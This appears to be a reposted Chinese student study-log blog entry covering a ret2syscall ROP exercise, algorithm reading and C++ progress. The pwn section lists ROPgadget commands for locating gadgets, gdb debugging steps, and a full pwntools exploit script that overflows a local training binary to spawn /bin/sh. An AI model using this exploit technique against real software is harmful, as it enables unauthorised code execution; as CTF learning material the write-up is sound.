9-6(6-2?)学习打卡(6.17)

Posted 水番正文

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了9-6(6-2?)学习打卡(6.17)相关的知识,希望对你有一定的参考价值。

显然,我应该前一天规划好第二天的时间分配,不会造成时间浪费,今天很多时间没有利用上,突然想起还有考试(学校里的选修课真是让人失望),每日一个时间管理小技巧。--6.17

6.17 To do list:

1.每日Pwn学习

2.算法导论阅读90分钟

3.Cpp阅读完第三章(如果有时间做一下练习)

 

一:每日Pwn学习

Ret2syscall是ROP(代码复用技术)中的一种

后面的ret要跳到下一个语句

框起来的是代码,在里面找这样的语句,然后传入栈空间

ROPgadget使用方法

在获得返回偏移地址后,就要明确目标

如何去拼凑这些内容

首先找pop eax;ret

ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"

PS:找pop和ret连起来的指令,指定寄存器为eax

第二找pop ebx;pop ecx;pop ebx;ret

ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx

Q:这里的一个疑问,为什么不可以把eax一起放进来找

A:因为没有同时eax ebx ecx edx

第三找ebx要传入的参数

Q:这里为什么是string

A:

1.因为这是要传入的参数,不是要执行的语句,所以在哪个段都行,用string

2.only是必须要可执行段的代码才行

Q:为什么不像其他参数一样写在payload

A:猜测是栈一行存不下/bin/sh,原理是数据存放在一个地址,当栈需要时指向那个地址提取出/bin/sh

第四找Int

ROPgadget --binary ./ret2syscall --only "int" | grep "0x80"

总结来说--only "xxx" 里面的数据一般是我们要找的指令,grep后面跟的是指令后的参数

context给整个脚本整体基调设定一个默认值,就算没加p32也会自动补上

然后就是动态调试下这个程序

提前是在发现payload前写个pause()

然后进入程序发现在kernel函数下

finish结束(finish:结束当前函数)

然后就等我们发送payload了

在程序那按下回车发现payload

然后就成功发送payload

这边进程是在nocancel下继续finish结束

几次finish后,到了gets函数,gets用来获取我们的payload,按finish结束gets

然后就到了结束这个程序的指令处

leave函数执行完后恢复栈帧,ret到了我们的传入的第一个地址

包括我们的数据也都在栈里

继续n向下执行成功pang

exp.py!

from pwn import *

context(arch = "i386" , os = "linux")

p = process("./ret2syscall")

offset = 112
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)

payload = "P" * offset + pop_eax + p32(0xb) + pop_edx_ecx_ebx + p32(0) + p32(0) + bin_sh + int_0x80

pause()

p.sendline(payload)

p.interactive()
 

牢记栈是栈,代码是代码,我们把payload传入,ret2到我们的pop_eax(后面是有ret的),当pop eax弹出栈的第一条数据,又执行ret,调用我们栈顶的数据也就是pop_edx_ecx_ebx

 

二:算法导论

看到第四十一页,现在在讲找到最小子数组,挺有意思,越发感觉这书是个经典。

三:CPP

已看完第三章。

明天又是早起的一天,睡了睡了~

以上是关于9-6(6-2?)学习打卡(6.17)的主要内容,如果未能解决你的问题,请参考以下文章

9-6学习打卡(6.12)

9-6学习打卡(6.22)

9-6 (9-1?) 学习打卡(6.15)

9-6 学习打卡 (9.6)

9-6学习打卡(6.14)

9-6(8-5)学习打卡(6.23)